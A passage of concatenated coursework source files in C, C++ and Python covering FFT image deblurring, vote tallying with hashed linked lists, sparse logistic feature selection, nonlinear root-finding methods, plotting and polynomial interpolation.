NEG * I * theta); if(inverse) mu = conj(mu); f[i] = ROOT2 * (f_even[i%(n/2)] + mu * f_odd[i%(n/2)]); } return f; } //2-dimensional Discrete Fourier Transform using Fast Fourier Transforms /* computes the 2-dimensional (i)FFT of an input matrix F * O(n^2 log(n)) time complexity * O(n) space complexity * * F = a matrix of complex numbers representing the time-series (or frequency) to be transformed of dimension 2^n * inverse = an integer flag which, when set, computes the inverse transform */ vector<vector<complex<precision>>> two_fft(vector<vector<complex<precision>>> F, int inverse){ int n = F[0].size(); for(int i = 0; i < n; i++)//compute the (i)FFT of the rows F[i] = fft(F[i], inverse); for(int i = 0; i < n; i++){//compute the (i)FFT of the columns vector<complex<precision>> F_col; for(int j = 0; j < n; j++)//copy the ith column into a new row vector F_col.push_back(F[j][i]); F_col = fft(F_col, inverse); for(int j = 0; j < n; j++)//rewrite the transformed column back into its original place F[j][i] = F_col[j]; } return F; } /* finds the solution x to a linear system Cx = b given a circulant matrix C by factoring C = F^H Gamma F * this is equivalent to solving x^TC^T = b^T where C^T is circulant if and only if C is circulant * O(n^2) time complexity * O(1) space complexity (disregarding calls to fft(...)) * * C = a complex of dimension n which determines a complex circulant matrix of dimension n * b = a complex vector of length n */ vector<complex<precision>> solve(vector<complex<precision>> C, vector<complex<precision>> b){ b = fft(b, 0); int n = C.size(); complex<precision> theta(2 * PI/n, 0); for(int i = 0; i < n; i++){//compute Gamma inverse and multiply it by b using Horner's Rule complex<precision> sum = C[n-1]; complex<precision> exponent(i, 0); complex<precision> omega = exp(exponent * I * theta); for(int j = n-2; j >= 0; j--) sum = sum * omega + C[j]; b[i] = b[i] / sum; } b = fft(b, 1); return b; } /* finds the solution I to a linear system M = C^TIC given a matrix M and a circulant matrix C * this is done by first solving M = LC for L and then solving L = IC for I * O(n^3) time complexity * O(n^2) space complexity * * M = the blurred image matrix * C = the first row of the circulant matrix used to blur the solution */ vector<vector<complex<precision>>> focus(vector<vector<complex<precision>>> M, vector<complex<precision>> C){ int n = C.size(); vector<vector<complex<precision>>> I(n); vector<vector<complex<precision>>> L(n); vector<complex<precision>> CT; CT.push_back(C[0]); for(int i = n-1; i > 0; i--)//find the transpose of C by downshifting its characteristic first row CT.push_back(C[i]); for(int i = 0; i < n; i++)//solving M = LC by rows L[i] = solve(CT, M[i]); for(int i = 0; i < n; i++){//solving L = C^TI by columns vector<complex<precision>> L_col; for(int j = 0; j < n; j++)//copy the ith column into a new row vector L_col.push_back(L[j][i]); vector<complex<precision>> I_col = solve(CT, L_col); for(int j = 0; j < n; j++)//rewrite the solved column back into the solution matrix I[j].push_back(I_col[j]); } return I; } int main(int argc, char* argv[]){ int n = pow(2, 9); clock_t start; clock_t end; //INPUT the BLURRED image M cout << "Reading in the blurry image..." << endl; start = clock(); vector<vector<complex<precision>>> M(n); ifstream inputM("blurred.txt"); for(int i = 0; i < n; i++) for(int j = 0; j < n; j++){ precision m; inputM >> m; M[i].push_back(complex<precision>(m, 0)); } inputM.close(); end = clock(); cout << "done. " << end - start << endl; //INPUT the CIRCULANT matrix row C cout << "Reading in the circulant row..." << endl; start = clock(); vector<complex<precision>> C; ifstream inputC("circulant.txt"); for(int i = 0; i < n; i++){ precision c; inputC >> c; C.push_back(complex<precision>(c, 0)); } inputC.close(); end = clock(); cout << "done. " << end - start << endl; //OUTPUT the FOCUSED image I cout << "Focussing the source image..." << endl; ofstream focused; focused.open("focused"); start = clock(); vector<vector<complex<precision>>> I = focus(M, C); end = clock(); for(int i = 0; i < n; i++){ for(int j = 0; j < n; j++) focused << abs(I[i][j]) << " "; focused << endl; } focused.close(); cout << "done. " << end - start << endl; return 0; } <file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> #include "hash.h" //Vote structure to save votes typedef struct { int vote1; int vote2; int vote3; } vote; //Node structure for linked list struct Node { int id; int score; char name[256]; struct Node *next; }; typedef struct Node node; //Linked structure list of nodes struct List { node *head; node *itr; }; typedef struct List list; //allocated globally due to size static vote votes[1000000]; static node *result[1000000]; static list players[1000000]; static int flag[1000000]; void partD(FILE *file) { int i = 0; int j; node MVP; node *ptr; int hashed; int hashed1; int hashed2; int hashed3; int _id; char _name[256]; float _PPG; float _APG; float _RPG; float _SPG; float _MPG; int _vote1; int _vote2; int _vote3; MVP.score = -1; //read input, create inked lists, and count votes while(fscanf(file, "%d %s %f %f %f %f %f %d %d %d", &_id, _name, &_PPG, &_APG, &_RPG, &_SPG, &_MPG, &_vote1, &_vote2, &_vote3) != EOF) { ptr = malloc(sizeof(node)); hashed = hashID(_id); ptr -> id = _id; ptr -> score = 0; strcpy(ptr -> name, _name); if(_id == _vote1) votes[i].vote1 = -1; else votes[i].vote1 = _vote1; if(_id == _vote2 || _vote1 == _vote2) votes[i].vote2 = -1; else votes[i].vote2 = _vote2; if(_id == _vote3 || _vote1 == _vote3 || _vote2 == _vote3) votes[i].vote3 = -1; else votes[i].vote3 = _vote3; if(!flag[hashed]) { flag[hashed] = 1; players[hashed].head = ptr; players[hashed].itr = players[hashed].head; } else { players[hashed].itr -> next = ptr; players[hashed].itr = players[hashed].itr -> next; } i = i + 1; } //analyze votes and assign scores for(j = 0; j < i; j++) { _vote1 = votes[j].vote1; _vote2 = votes[j].vote2; _vote3 = votes[j].vote3; //calculate score for vote 1 if(_vote1 != -1) { hashed1 = hashID(_vote1); ptr = players[hashed1].head; while(ptr != NULL) { if(ptr -> id == _vote1) ptr -> score = ptr -> score + 3; if(ptr -> score > MVP.score) { MVP.id = ptr -> id; MVP.score = ptr -> score; strcpy(MVP.name, ptr -> name); } ptr = ptr -> next; } } //calculate score for vote 2 if(_vote2 != -1) { hashed2 = hashID(_vote2); ptr = players[hashed2].head; while(ptr != NULL) { if(ptr -> id == _vote2) ptr -> score = ptr -> score + 2; if(ptr -> score > MVP.score) { MVP.id = ptr -> id; MVP.score = ptr -> score; strcpy(MVP.name, ptr -> name); } ptr = ptr -> next; } } //calculate score for vote3 if(_vote3 != -1) { hashed3 = hashID(_vote3); ptr = players[hashed3].head; while(ptr != NULL) { if(ptr -> id == _vote3) ptr -> score = ptr -> score + 1; if(ptr -> score > MVP.score) { MVP.id = ptr -> id; MVP.score = ptr -> score; strcpy(MVP.name, ptr -> name); } ptr = ptr -> next; } } } //output printf("The MVP is %s with %d point(s).\n", MVP.name, MVP.id); } <file_sep># <NAME>, FSU Mathematics PhD # <NAME>, FSU Mathematics PhD # Applied Machine Learning Assignment 4 import re import numpy as np import matplotlib.pyplot as plt training_data = ["./data-norm/gisette/gisette_train.data.npy", "./data-norm/dexter/dexter_train.csv.npy", "./data-norm/madelon/madelon_train.data.npy"] test_data = ["./data-norm/gisette/gisette_valid.data.npy", "./data-norm/dexter/dexter_valid.csv.npy", "./data-norm/madelon/madelon_valid.data.npy"] training_labels = ["./data-norm/gisette/gisette_train.labels.npy", "./data-norm/dexter/dexter_train.labels.npy", "./data-norm/madelon/madelon_train.labels.npy"] test_labels = ["./data-norm/gisette/gisette_valid.labels.npy", "./data-norm/dexter/dexter_valid.labels.npy", "./data-norm/madelon/madelon_valid.labels.npy"] λ_master = [[0.197, 0.135, 0.08745, 0.053], [0.15, 0.0983663, 0.0713, 0.05269], [0.029799, 0.02435, 0.01695, 0.0074]] #GRADIENT DESCENT FOLLOWED BY THRESHOLD def theta(X, Y, η=1, λ=0, itr=100): w = np.zeros((X.shape[1]+1, 1)) X = np.asarray([np.append(1, x) for x in X]) for i in range(0, itr): w = w + η * np.dot(X.T, Y - 1/(1 + np.exp(-np.dot(X, w)))) mask = np.ones(w.shape, bool) mask[0] = False w[(np.abs(w) <= λ) & (mask)] = 0 return w #PREDICTING LABELS def predict(w, X): X = np.asarray([np.append(1, x) for x in X]) prediction = np.dot(X, w) prediction[prediction > 0] = 1 prediction[prediction <= 0] = 0 return prediction #MAIN DATA PROCESSING for λ_list, f_train_data, f_test_data, f_train_labels, f_test_labels in zip(λ_master, training_data, test_data, training_labels, test_labels): print("Processing: " + f_train_data.split("/")[-2]) Xtrain = np.load(f_train_data) Ytrain = np.load(f_train_labels) Xtest = np.load(f_test_data) Ytest = np.load(f_test_labels) η = 1/Xtrain.shape[0] train_error = [] test_error = [] #ITERATE OVER NUMBER OF FEATURES SELECTED for λ in λ_list: w = theta(Xtrain, Ytrain, η, λ) print("\t λ = " + str(λ)) print("\t Features: " + str(np.count_nonzero(w) - 1)) train_prediction = predict(w, Xtrain) test_prediction = predict(w, Xtest) train_error.append(100*np.count_nonzero(Ytrain - train_prediction)/Ytrain.shape[0]) test_error.append(100*np.count_nonzero(Ytest - test_prediction)/Ytest.shape[0]) print("\t\t" + "training error: " + str(train_error[-1]) + "%") print("\t\t" + "validation error: " + str(test_error[-1]) + "%") #GRAPHING num_features = [10, 30, 100, 300] fig, ax = plt.subplots() ax.plot(num_features, train_error, label="Training Error") ax.plot(num_features, test_error, label="Test Error") legend = ax.legend(loc='best') plt.title(f_train_data.split("/")[-2]) plt.xticks(num_features, num_features) plt.xlabel("Number of Features Selected") plt.ylabel("Misclassification Error %") plt.savefig("./report/figures/" + f_train_data.split("/")[-2] + ".eps", format="eps", dpi=1000, bbox_inches="tight") <file_sep>all: mycipher purge mycipher: mycipher.o gcc -o mycipher mycipher.o mycipher.o: mycipher.c gcc -c mycipher.c purge: rm -f *.o clean: rm -f *.o rm mycipher <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <vector> #include <math.h> using namespace std; #include "norms.h" #include "linear_algebra.h" #ifdef SINGLE typedef float precision; #else typedef double precision; #endif const precision π = M_PI; vector<precision> F1(vector<precision> x){ precision ξ = x[0]; precision η = x[1]; x[0] = pow(ξ, 2) + pow(η, 2) - 4; x[1] = exp(ξ) + η - 1; return x; } precision J1(vector<precision> x, int i){ precision ξ = x[0]; precision η = x[1]; switch(i){ case 1: return 2*η; case 2: return exp(ξ); case 3: return 1; default: return 2*ξ; } } vector<precision> F2(vector<precision> x){ precision ξ = x[0]; precision η = x[1]; x[0] = sin(ξ*η)/2 - ξ/2 - η/(4*π); x[1] = (1 - 1/(4*π))*(exp(2*ξ) - exp(1)) - 2*exp(1)*ξ + exp(1)*η/π; return x; } precision J2(vector<precision> x, int i){ precision ξ = x[0]; precision η = x[1]; switch(i){ case 1: return ξ*cos(ξ*η)/2 - 1/(4*π); case 2: return (2 - 1/(2*π))*exp(2*ξ) - 2*exp(1); case 3: return exp(1)/π; default: return (η*cos(ξ*η) - 1)/2; } } vector<precision> F3(vector<precision> x){ precision ξ = x[0]; precision η = x[1]; x[0] = (ξ + 3)*(pow(η, 3) - 7) + 18; x[1] = sin(η*exp(ξ) - 1); return x; } precision J3(vector<precision> x, int i){ precision ξ = x[0]; precision η = x[1]; switch(i){ case 1: return 3*pow(η, 2)*(ξ + 3); case 2: return η*exp(ξ)*cos(η*exp(ξ) - 1); case 3: return exp(ξ)*cos(η*exp(ξ) - 1); default: return pow(η, 3) - 7; } } vector<precision> newton(vector<precision> (*F)(vector<precision>), precision (*J)(vector<precision>, int), vector<precision> x, precision ε, int bound){ int itr = 0; vector<precision> f = F(x); vector<vector<precision>> j(2); for(int i = 0; i < 2; i++) j[i] = vector<precision>(2); while(norm_inf(f) > ε && ++itr <= bound){ j[0][0] = J(x, 0); j[0][1] = J(x, 1); j[1][0] = J(x, 2); j[1][1] = J(x, 3); x = difference(x, product(inverse2x2(j), f)); f = F(x); } x.push_back(itr); return (itr <= bound) ? x : vector<precision>(); } vector<precision> broyden(vector<precision> (*F)(vector<precision>), vector<vector<precision>> B, vector<precision> x, precision α, precision ε, int bound){ int itr = 0; vector<precision> s, χ, φ, f = F(x); while(norm_inf(f) > ε && ++itr <= bound){ χ = x; x = difference(x, scale(α, product(inverse2x2(B), f))); φ = F(x); s = difference(x, χ); B = sum(B, scale(1/pow(norm_L2(s), 2), outer_product(difference(difference(φ, f), product(B, s)), s))); f = φ; } x.push_back(itr); return (itr <= bound) ? x : vector<precision>(); } vector<precision> jacobi(vector<precision> (*F)(vector<precision>), precision (*J)(vector<precision>, int), vector<precision> x, precision ε, int bound){ int itr = 0; vector<precision> f = F(x); while(norm_inf(f) > ε && ++itr <= bound){ vector<precision> χ = x; x[0] = x[0] - f[0]/J(χ, 0); x[1] = x[1] - f[1]/J(χ, 3); f = F(x); } x.push_back(itr); return (itr <= bound) ? x : vector<precision>(); } vector<precision> gauss_seidel(vector<precision> (*F)(vector<precision>), precision (*J)(vector<precision>, int), vector<precision> x, precision ε, int bound){ int itr = 0; vector<precision> f = F(x); while(norm_inf(f) > ε && ++itr <= bound){ x[0] = x[0] - f[0]/J(x, 0); x[1] = x[1] - F(x)[1]/J(x, 3); f = F(x); } x.push_back(itr); return (itr <= bound) ? x : vector<precision>(); } void test_ic(int t, precision ε, int bound, precision δ){ vector<precision> root; vector<precision> x(2); vector<vector<precision>> J(2); ofstream file1, file2, file3; switch(t){ case 1: file1.open("broyden1.txt"); file2.open("broyden2.txt"); file3.open("broyden3.txt"); file1 << "root\tinitial\titerations" << endl; file2 << "root\tinitial\titerations" << endl; file3 << "root\tinitial\titerations" << endl; for(int i = 0; i < 2; i++) J[i] = vector<precision>(2); for(precision ξ = -4; ξ <= 4; ξ = ξ + δ){ x[0] = ξ; for(precision η = -4; η <= 4; η = η + δ){ x[1] = η; J[0][0] = J1(x, 0); J[0][1] = J1(x, 1); J[1][0] = J1(x, 2); J[1][1] = J1(x, 3); root = broyden(F1, J, x, 1, ε, bound); if(root.size() != 0 && to_string(root[0]) != "nan" && to_string(root[1]) != "nan" && to_string(root[0]) != "inf" && to_string(root[1]) != "inf" && to_string(root[0]) != "-inf" && to_string(root[1]) != "-inf") file1 << root[0] << " " << root[1] << "\t" << ξ << " "<< η << "\t" << root[2] << endl; J[0][0] = J2(x, 0); J[0][1] = J2(x, 1); J[1][0] = J2(x, 2); J[1][1] = J2(x, 3); root = broyden(F2, J, x, 1, ε, bound); if(root.size() != 0 && to_string(root[0]) != "nan" && to_string(root[1]) != "nan" && to_string(root[0]) != "inf" && to_string(root[1]) != "inf" && to_string(root[0]) != "-inf" && to_string(root[1]) != "-inf") file2 << root[0] << " " << root[1] << "\t" << ξ << " "<< η << "\t" << root[2] << endl; J[0][0] = J3(x, 0); J[0][1] = J3(x, 1); J[1][0] = J3(x, 2); J[1][1] = J3(x, 3); root = broyden(F3, J, x, 1, ε, bound); if(root.size() != 0 && to_string(root[0]) != "nan" && to_string(root[1]) != "nan" && to_string(root[0]) != "inf" && to_string(root[1]) != "inf" && to_string(root[0]) != "-inf" && to_string(root[1]) != "-inf") file3 << root[0] << " " << root[1] << "\t" << ξ << " "<< η << "\t" << root[2] << endl; cout << "ξ: " << ξ << "\tη: " << η << endl; } } break; case 2: file1.open("jacobi1.txt"); file2.open("jacobi2.txt"); file3.open("jacobi3.txt"); file1 << "root\tinitial\titerations" << endl; file2 << "root\tinitial\titerations" << endl; file3 << "root\tinitial\titerations" << endl; for(precision ξ = -4; ξ <= 4; ξ = ξ + δ){ x[0] = ξ; for(precision η = -4; η <= 4; η = η + δ){ x[1] = η; root = jacobi(F1, J1, x, ε, bound); if(root.size() != 0 && to_string(root[0]) != "nan" && to_string(root[1]) != "nan" && to_string(root[0]) != "inf" && to_string(root[1]) != "inf" && to_string(root[0]) != "-inf" && to_string(root[1]) != "-inf") file1 << root[0] << " " << root[1] << "\t" << ξ << " "<< η << "\t" << root[2] << endl; root = jacobi(F2, J2, x, ε, bound); if(root.size() != 0 && to_string(root[0]) != "nan" && to_string(root[1]) != "nan" && to_string(root[0]) != "inf" && to_string(root[1]) != "inf" && to_string(root[0]) != "-inf" && to_string(root[1]) != "-inf") file2 << root[0] << " " << root[1] << "\t" << ξ << " "<< η << "\t" << root[2] << endl; root = jacobi(F3, J3, x, ε, bound); if(root.size() != 0 && to_string(root[0]) != "nan" && to_string(root[1]) != "nan" && to_string(root[0]) != "inf" && to_string(root[1]) != "inf" && to_string(root[0]) != "-inf" && to_string(root[1]) != "-inf") file3 << root[0] << " " << root[1] << "\t" << ξ << " "<< η << "\t" << root[2] << endl; cout << "ξ: " << ξ << "\tη: " << η << endl; } } break; case 3: file1.open("gauss_seidel1.txt"); file2.open("gauss_seidel2.txt"); file3.open("gauss_seidel3.txt"); file1 << "root\tinitial\titerations" << endl; file2 << "root\tinitial\titerations" << endl; file3 << "root\tinitial\titerations" << endl; for(precision ξ = -4; ξ <= 4; ξ = ξ + δ){ x[0] = ξ; for(precision η = -4; η <= 4; η = η + δ){ x[1] = η; root = gauss_seidel(F1, J1, x, ε, bound); if(root.size() != 0 && to_string(root[0]) != "nan" && to_string(root[1]) != "nan" && to_string(root[0]) != "inf" && to_string(root[1]) != "inf" && to_string(root[0]) != "-inf" && to_string(root[1]) != "-inf") file1 << root[0] << " " << root[1] << "\t" << ξ << " "<< η << "\t" << root[2] << endl; root = gauss_seidel(F2, J2, x, ε, bound); if(root.size() != 0 && to_string(root[0]) != "nan" && to_string(root[1]) != "nan" && to_string(root[0]) != "inf" && to_string(root[1]) != "inf" && to_string(root[0]) != "-inf" && to_string(root[1]) != "-inf") file2 << root[0] << " " << root[1] << "\t" << ξ << " "<< η << "\t" << root[2] << endl; root = gauss_seidel(F3, J3, x, ε, bound); if(root.size() != 0 && to_string(root[0]) != "nan" && to_string(root[1]) != "nan" && to_string(root[0]) != "inf" && to_string(root[1]) != "inf" && to_string(root[0]) != "-inf" && to_string(root[1]) != "-inf") file3 << root[0] << " " << root[1] << "\t" << ξ << " "<< η << "\t" << root[2] << endl; cout << "ξ: " << ξ << "\tη: " << η << endl; } } break; default: file1.open("newton1.txt"); file2.open("newton2.txt"); file3.open("newton3.txt"); file1 << "root\tinitial\titerations" << endl; file2 << "root\tinitial\titerations" << endl; file3 << "root\tinitial\titerations" << endl; for(precision ξ = -4; ξ <= 4; ξ = ξ + δ){ x[0] = ξ; for(precision η = -4; η <= 4; η = η + δ){ x[1] = η; root = newton(F1, J1, x, ε, bound); if(root.size() != 0 && to_string(root[0]) != "nan" && to_string(root[1]) != "nan" && to_string(root[0]) != "inf" && to_string(root[1]) != "inf" && to_string(root[0]) != "-inf" && to_string(root[1]) != "-inf") file1 << root[0] << " " << root[1] << "\t" << ξ << " "<< η << "\t" << root[2] << endl; root = newton(F2, J2, x, ε, bound); if(root.size() != 0 && to_string(root[0]) != "nan" && to_string(root[1]) != "nan" && to_string(root[0]) != "inf" && to_string(root[1]) != "inf" && to_string(root[0]) != "-inf" && to_string(root[1]) != "-inf") file2 << root[0] << " " << root[1] << "\t" << ξ << " "<< η << "\t" << root[2] << endl; root = newton(F3, J3, x, ε, bound); if(root.size() != 0 && to_string(root[0]) != "nan" && to_string(root[1]) != "nan" && to_string(root[0]) != "inf" && to_string(root[1]) != "inf" && to_string(root[0]) != "-inf" && to_string(root[1]) != "-inf") file3 << root[0] << " " << root[1] << "\t" << ξ << " "<< η << "\t" << root[2] << endl; cout << "ξ: " << ξ << "\tη: " << η << endl; } } } file1.close(); file2.close(); file3.close(); } void test_compare(vector<vector<precision>> x, int bound){ vector<vector<precision>> J(2); for(int i = 0; i < 2; i++) J[i] = vector<precision>(2); ofstream file1, file2, file3; file1.open("compare1.txt"); file2.open("compare2.txt"); file3.open("compare3.txt"); for(precision ε = pow(10, -1); ε >= pow(10, -8); ε = ε/10){ J[0][0] = J1(x[0], 0); J[0][1] = J1(x[0], 1); J[1][0] = J1(x[0], 2); J[1][1] = J1(x[0], 3); file1 << newton(F1, J1, x[0], ε, bound)[2] << " "; file1 << broyden(F1, J, x[0], 1, ε, bound)[2] << " "; file1 << jacobi(F1, J1, x[0], ε, bound)[2] << " "; file1 << gauss_seidel(F1, J1, x[0], ε, bound)[2] << endl; } for(precision ε = pow(10, -1); ε >= pow(10, -8); ε = ε/10){ J[0][0] = J2(x[1], 0); J[0][1] = J2(x[1], 1); J[1][0] = J2(x[1], 2); J[1][1] = J2(x[1], 3); file2 << newton(F2, J2, x[1], ε, bound)[2] << " "; file2 << broyden(F2, J, x[1], 1, ε, bound)[2] << " "; file2 << jacobi(F2, J2, x[1], ε, bound)[2] << " "; file2 << gauss_seidel(F2, J2, x[1], ε, bound)[2] << endl; } for(precision ε = pow(10, -1); ε >= pow(10, -8); ε = ε/10){ J[0][0] = J3(x[2], 0); J[0][1] = J3(x[2], 1); J[1][0] = J3(x[2], 2); J[1][1] = J3(x[2], 3); file3 << newton(F3, J3, x[2], ε, bound)[2] << " "; file3 << broyden(F3, J, x[2], 1, ε, bound)[2] << " "; file3 << jacobi(F3, J3, x[2], ε, bound)[2] << " "; file3 << gauss_seidel(F3, J3, x[2], ε, bound)[2] << endl; } file1.close(); file2.close(); file3.close(); } void test_empirical(vector<vector<precision>> x){ ofstream file1, file2, file3, file4; file1.open("empirical_newton.txt"); file2.open("empirical_broyden.txt"); file3.open("empirical_jacobi.txt"); file4.open("empirical_gauss-seidel.txt"); vector<precision> r(2); vector<precision> temp(3); vector<vector<precision>> J(2); for(int i = 0; i < 2; i++) J[i] = vector<precision>(2); file1 << x[0][0] << " " << x[0][1] << " " << norm_L2(F2(x[0])) << endl; for(int i = 1; i <= 5; i++){ temp = newton(F2, J2, x[0], 0, i); r[0] = temp[0]; r[1] = temp[1]; file1 << r[0] << " " << r[1] << " " << norm_L2(F2(r)) << endl; } file2 << x[1][0] << " " << x[1][1] << " " << norm_L2(F3(x[1])) << endl; for(int i = 1; i <= 6; i++){ J[0][0] = J3(x[1], 0); J[0][1] = J3(x[1], 1); J[1][0] = J3(x[1], 2); J[1][1] = J3(x[1], 3); temp = broyden(F3, J, x[1], 1, 0, i); r[0] = temp[0]; r[1] = temp[1]; file2 << r[0] << " " << r[1] << " " << norm_L2(F3(r)) << endl; } file3 << x[0][0] << " " << x[0][1] << " " << norm_L2(F2(x[0])) << endl; for(int i = 1; i <= 15; i++){ temp = jacobi(F2, J2, x[0], 0, i); r[0] = temp[0]; r[1] = temp[1]; file3 << r[0] << " " << r[1] << " " << norm_L2(F2(r)) << endl; } file4 << x[0][0] << " " << x[0][1] << " " << norm_L2(F2(x[0])) << endl; for(int i = 1; i <= 7; i++){ temp = gauss_seidel(F2, J2, x[0], 0, i); r[0] = temp[0]; r[1] = temp[1]; file4 << r[0] << " " << r[1] << " " << norm_L2(F2(r)) << endl; } file1.close(); file2.close(); file3.close(); file4.close(); } int main(int argc, char* argv[]){ for(int i = 0; i < 4; i++) test_ic(i, pow(10, -4), pow(10, 4), pow(10, -1)); vector<vector<precision>> x(3); x[0].push_back(-4); x[0].push_back(-3.8); x[1].push_back(-4); x[1].push_back(0); x[2].push_back(4); x[2].push_back(4); test_compare(x, pow(10, 4)); x[0][0] = 0.4; x[0][1] = 3; x[1][0] = -0.5; x[1][1] = 1.4; test_empirical(x); return 0; } <file_sep>import math import numpy as np import seaborn as sns import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D sns.set(style='ticks', palette='Set2') π = np.pi sin = np.sin cos = np.cos def graph_sphere_plane(filename): r = 1 φ, θ = np.mgrid[0.0:π:100j, 0.0:2.0*π:100j] x = r*sin(φ)*cos(θ) y = r*sin(φ)*sin(θ) z = r*cos(φ) a, b, c, d = 0, 0, 1, 0 X = np.linspace(-1, 1, 10) Y = np.linspace(-1, 1, 10) X, Y = np.meshgrid(X, Y) Z_3 = (-0.75 - a*X - b*Y)/c Z_2 = (-0.5 - a*X - b*Y)/c Z_1 = (-0.25 - a*X - b*Y)/c Z0 = (0 - a*X - b*Y)/c Z1 = (0.25 - a*X - b*Y)/c Z2 = (0.5 - a*X - b*Y)/c Z3 = (0.75 - a*X - b*Y)/c fig = plt.figure() ax = fig.add_subplot(111, projection='3d') ax.plot_surface(x, y, z, rstride=1, cstride=1, alpha=0.7, linewidth=0) ax.plot_surface(X, Y, Z_3, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.plot_surface(X, Y, Z_2, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.plot_surface(X, Y, Z_1, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.plot_surface(X, Y, Z0, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.plot_surface(X, Y, Z1, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.plot_surface(X, Y, Z2, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.plot_surface(X, Y, Z3, rstride=1, cstride=1, alpha=0.2, linewidth=0) ax.contour(x, y, z, alpha=1) plt.savefig('../figures/' + filename + '.pdf', format='pdf', dpi=1000, bbox_inches='tight') <file_sep>void partC(FILE *file); <file_sep># QR Factorization An efficient implementation of QR factorization in C++. <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <vector> #include <math.h> #include <time.h> #include <cmath> #include <complex> using namespace std; #include "linear_algebra.h" #include "norms.h" //adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif vector<vector<precision>> generate_toeplitz_tri(int dim){ srand(time(NULL)); precision a = (rand() % dim) + 1; precision b = (rand() % dim) + 1; vector<vector<precision>> T(2); for(int i = 0; i < dim; i++) T[0].push_back(a); for(int i = 0; i < dim - 1; i++) T[1].push_back(b); return T; } vector<vector<precision>> gram_schmidt(int n){ srand(time(NULL)); vector<precision> v(n); vector<precision> u(n); vector<vector<precision>> Q; for(int i = 0; i < n; i++){ for(int i = 0; i < n; i++) v[i] = rand() % n; u = v; for(int j = 0; j < i; j++) u = difference(u, scale(inner_product(Q[j], u)/inner_product(Q[j], Q[j]), Q[j])); u = scale(1/norm_L2(u), u); bool zero = false; for(int i = 0; i < n; i++) zero = (u[i] == 0) || zero; if(zero) i--; else Q.push_back(u); } return Q; } vector<vector<precision>> eigenmatrix(int n){ srand(time(NULL)); vector<vector<precision>> Λ(n, vector<precision>(n)); for(int i = 0; i < n; i++) Λ[i][i] = (rand() % n) + 1; return Λ; } <file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> #include "partA.h" #include "partB.h" #include "partC.h" int main (int argc, char *argv[]) { FILE *file; if(argc == 3) { if((file = fopen(argv[1], "r")) == NULL) { printf("File path does not exist.\n"); exit(0); } } else { printf("This program requires <file address> and <choice> parameters.\n"); exit(0); } if(!strcasecmp("A", argv[2])) reverseLines(file); if(!strcasecmp("B", argv[2])) reverseChars(file); if(!strcasecmp("C", argv[2])) reverseWords(file); fclose(file); } <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <math.h> using namespace std; //precision is set to single by default //use the g++ directive -DDOUBLE=1 at compile time to set precision from single to double #ifdef DOUBLE typedef double precision; #else typedef float precision; #endif //the first function given in the problem statement precision function1(precision alpha, precision x){return abs(alpha*x)+(x/2)-(x*x);} //the first derivative of function1 precision dfunction1(precision alpha, precision x) { if(x > 0){return abs(alpha)+(1.0/2)-2*x;} if(x < 0){return -abs(alpha)+(1.0/2)-2*x;} return 0; } //the second derivative of function1 precision ddfunction1(precision alpha, precision x){return -2;} //the second function given in the problem statement precision function2(precision alpha, precision x){return 1/(1+(alpha*x*x));} //the first derivative of function2 precision dfunction2(precision alpha, precision x){return -(2*alpha*x)/pow(alpha*x*x+1, 2);} //the second derivative of function2 precision ddfunction2(precision alpha, precision x){return (2*alpha)*(3*alpha*x*x-1)/pow(alpha*x*x+1, 3);} /* computes the nth divided differences and all previous divided differences along the left path * n is the largest degree of the divided differences computed * O(n) space complexity * O(n^2) time complexity * * n = degree of divided difference; number of mesh points * xmesh = the mesh of x values * ymesh = the mesh of y values * div_dif = an empty array to store the divided differences computed */ void divided_differences(int n, precision* xmesh, precision* ymesh, precision* div_dif) { int k = 1; for(int i = 0; i < n; i++){div_dif[i] = ymesh[i];} for(int i = 0; i < n-1; i++) { for(int j = n-1; j > i; j = j-1){div_dif[j] = (div_dif[j]-div_dif[j-1])/(xmesh[j]-xmesh[j-k]);} k = k+1; } } /* computes the newton interpolating polynomial on an arbitrary mesh of x and y values evaluated at x * no assumptions are made about the mesh * O(n) space complexity {storing the divided differences} * O(n^2) time complexity {including the O(n^2) time complexity of computing the divided differences} * * n = number of mesh points; the degree of the newton interpolating polynomial + 1 * xmesh = the mesh of x values * ymesh = the mesh of y values * x = where we evaluate the polynomial */ precision newton(int n, precision* xmesh, precision* ymesh, precision x) { precision result = 0; precision div_dif[n]; divided_differences(n, xmesh, ymesh, div_dif); for(int i = 0; i < n; i++) { precision prod = 1; for(int j = 1; j <= i; j++){prod = prod*(x-xmesh[j-1]);} result = result+div_dif[i]*prod; } return result; } /* a simple recursive function to compute n! * O(1) space complexity {discounting the n calls made to this function on the function stack; otherwise O(n) space complexity} * O(n) time complexity * * n = some number whose factorial we would like to compute */ long factorial(long n) { if(n < 0){return 0;} if(n == 1 || n == 0){return 1;} return n*factorial(n-1); } /* a simple factorial computation of n choose k * O(1) space complexity * O(n) time complexity {due to computing the three factorials; could be sped up by simplifying n!/(n-k)!} * * n, k = some numbers who we'd like to compute n choose k for */ long choose(long n, long k){return factorial(n)/(factorial(n-k)*factorial(k));} /* computes the bernstein polynomial of degree on the interval [lower, upper] evaluated at x * the mesh of y values is assumed to have been generated from a uniform mesh of x values * O(n) space complexity * O(n^2) time complexity {evaluation, choose} * * n = degree of the bernstein polynomial; number of y values in the y mesh * lower = lower bound of the interval * upper = upper bound of the interval * ymesh = mesh of y values of the function to approximate computed based on a uniform x mesh over [lower, upper] * x = place to evaluate the bernstein polynomial */ precision bernstein(int n, precision lower, precision upper, precision* ymesh, precision x) { precision result = 0; precision y = (x-lower)/(upper-lower);//biject x from the interval [lower, upper] to the interval [0, 1] for(int i = 0; i <= n; i++){result = result+ymesh[i]*choose(n, i)*pow(y, i)*pow(1-y, n-i);} return 